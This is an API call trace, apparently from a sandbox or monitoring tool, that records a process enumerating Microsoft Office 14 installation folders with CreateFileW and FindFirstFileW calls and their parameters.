	[0052.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\softblue"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.999] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SoftBlue\\*", lpFindFileData=0x127d3724 | out: lpFindFileData=0x127d3724*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d37e7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\springgreen"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.001] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\*", lpFindFileData=0x127d3724 | out: lpFindFileData=0x127d3724*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ab49610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\swirl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.002] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\*", lpFindFileData=0x127d3724 | out: lpFindFileData=0x127d3724*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ac7a110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d43ce90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.008] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\*", lpFindFileData=0x127d37ec | out: lpFindFileData=0x127d37ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70685f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70685f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.016] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\*", lpFindFileData=0x127d37ec | out: lpFindFileData=0x127d37ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70c9f7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.023] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\*", lpFindFileData=0x127d3788 | out: lpFindFileData=0x127d3788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x538bb350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x538bb350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x538bb350, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.023] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\*", lpFindFileData=0x127d3724 | out: lpFindFileData=0x127d3724*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x538bb350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\basic"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.024] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Basic\\*", lpFindFileData=0x127d36c0 | out: lpFindFileData=0x127d36c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6073a7d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\projecttool\\project report type\\fancy"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.024] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectTool\\Project Report Type\\Fancy\\*", lpFindFileData=0x127d36c0 | out: lpFindFileData=0x127d36c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x538bb350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69c4c990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\welcome tool"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.029] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\*", lpFindFileData=0x127d37ec | out: lpFindFileData=0x127d37ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53907610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.030] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\*", lpFindFileData=0x127d38b4 | out: lpFindFileData=0x127d38b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52a4cdf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.038] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\*", lpFindFileData=0x127d38b4 | out: lpFindFileData=0x127d38b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3caa70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3caa70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\Space Templates" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\space templates"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.041] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\Space Templates\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.050] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\*", lpFindFileData=0x127d3918 | out: lpFindFileData=0x127d3918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64dbf390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomformservices"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.054] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\*", lpFindFileData=0x127d38b4 | out: lpFindFileData=0x127d38b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x545acaf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64de54f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomformservices\\infopathomformservicesv12"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.057] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553a8c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64de54f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomv12"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.059] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\*", lpFindFileData=0x127d38b4 | out: lpFindFileData=0x127d38b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64dbf390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library" (normalized: "c:\\program files\\microsoft office\\office14\\library"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.062] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\*", lpFindFileData=0x127d3918 | out: lpFindFileData=0x127d3918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x51fe2db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51fe2db0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis" (normalized: "c:\\program files\\microsoft office\\office14\\library\\analysis"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.062] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\*", lpFindFileData=0x127d38b4 | out: lpFindFileData=0x127d38b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER" (normalized: "c:\\program files\\microsoft office\\office14\\library\\solver"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.065] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\*", lpFindFileData=0x127d38b4 | out: lpFindFileData=0x127d38b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa671530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA" (normalized: "c:\\program files\\microsoft office\\office14\\media"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.068] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\*", lpFindFileData=0x127d3918 | out: lpFindFileData=0x127d3918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x708e7550, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote" (normalized: "c:\\program files\\microsoft office\\office14\\onenote"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.113] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\*", lpFindFileData=0x127d3918 | out: lpFindFileData=0x127d3918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c1f0570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c1f0570, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.118] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\*", lpFindFileData=0x127d3918 | out: lpFindFileData=0x127d3918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5133d8d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70c9f7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.132] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\*", lpFindFileData=0x127d3918 | out: lpFindFileData=0x127d3918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59d27370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6ce49790, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF" (normalized: "c:\\program files\\microsoft office\\office14\\proof"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.159] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\*", lpFindFileData=0x127d3918 | out: lpFindFileData=0x127d3918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5481df0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6f6b5a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa6f6b5a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1033" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.162] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1033\\*", lpFindFileData=0x127d38b4 | out: lpFindFileData=0x127d38b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x97285f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x97285f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97285f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PROOF\\1036" (normalized: "c:\\program files\\microsoft office\\office14\\proof\\1036"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
